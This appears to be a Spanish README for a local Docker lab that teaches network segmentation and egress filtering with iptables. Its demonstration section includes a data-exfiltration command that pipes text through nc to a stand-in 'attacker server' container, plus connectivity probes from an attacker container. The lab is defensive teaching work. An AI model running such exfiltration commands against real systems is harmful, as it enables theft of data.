lab-net-firewall — segmentacion y control de egress
===================================================

ESTADO: LABORATORIO LOCAL
Target:        http://localhost:8094
Autorizacion:  sistema local creado por ti para entrenamiento.

AVISO IMPORTANTE
Este es el UNICO laboratorio de la fase 02 con una red que tiene
salida a internet, y la tiene a proposito: sin salida no se puede
demostrar que cortarla hace algo. El destino de exfiltracion del
ejercicio (el contenedor "recolector") vive dentro de este mismo
compose. No apuntes ninguna prueba fuera del laboratorio.

Lo usa la leccion f02-firewall.


Que levanta
-----------
  entrada     nginx, unico puerto publicado, 127.0.0.1:8094
  api         nginx + iptables, con un pie en la dmz y otro en datos
  datos       postgres, solo en el segmento interno
  atacante    alpine con nmap, curl, nc y psql, solo en la dmz
  recolector  escucha en el 9000; es el "servidor del atacante"

Tres redes:
  fw_borde    publica el puerto en el host
  fw_dmz      CON salida a internet (deliberado)
  fw_interna  internal: true, sin salida, sin atacante dentro


Comandos
--------
  docker compose up -d --build              levantar
  docker compose exec api sh                entrar a la api
  docker compose exec atacante sh           entrar al puesto del atacante
  docker compose logs -f recolector         ver lo que llega al recolector
  docker compose down -v                    destruir todo


Los dos controles, que no son el mismo
--------------------------------------
1) SEGMENTACION (L3, en el compose)
   "datos" solo esta en fw_interna. El atacante no tiene ruta.
   No hay regla que desactivar: la ruta no existe.

     docker compose exec atacante sh -c "nc -z -w 2 datos 5432; echo salida=\$?"
     docker compose exec atacante sh -c "getent hosts datos; echo salida=\$?"

2) EGRESS (L3/L4, dentro de api)
   La api SI tiene ruta a la dmz y a internet. Eso se corta con
   politica DROP en OUTPUT, dentro de su propia pila de red.

     # antes: sale sin problema
     docker compose exec api curl -m 5 -s -o /dev/null -w '%{http_code}\n' http://recolector:9000/
     docker compose exec api curl -m 5 -sS -o /dev/null https://example.com ; echo salida=$?

     # aplicar la politica
     docker compose exec api sh /opt/reglas/default-deny.sh

     # despues: solo queda lo que se permitio explicitamente
     docker compose exec api curl -m 5 -sS http://recolector:9000/ ; echo salida=$?
     docker compose exec api psql "postgresql://lab:laboratorio_local@datos:5432/lab" -c "select 1"

     # y el servicio sigue respondiendo hacia dentro
     curl -s http://localhost:8094/salud

     # volver al estado inicial
     docker compose exec api sh /opt/reglas/restaurar.sh


Demostracion de exfiltracion (todo dentro del compose)
------------------------------------------------------
  # terminal 1
  docker compose logs -f recolector

  # terminal 2, antes de aplicar la politica
  docker compose exec api sh -c "echo 'datos-de-laboratorio' | nc -w 2 recolector 9000"

  # aplica default-deny.sh y repite: ya no llega nada


Si algo falla
-------------
  "port is already allocated"       cambia 8094 por 127.0.0.1:8096:80
  iptables: Permission denied       falta cap_add NET_ADMIN en el servicio api
  iptables no arranca en tu kernel  prueba con iptables-legacy en lugar de
                                    iptables dentro del contenedor
  la api deja de responder          te falto la regla de conntrack
                                    ESTABLISHED,RELATED en OUTPUT
  las reglas desaparecen            son de la vida del contenedor; un
                                    restart las borra, y eso es correcto

Cuando termines, siempre:  docker compose down -v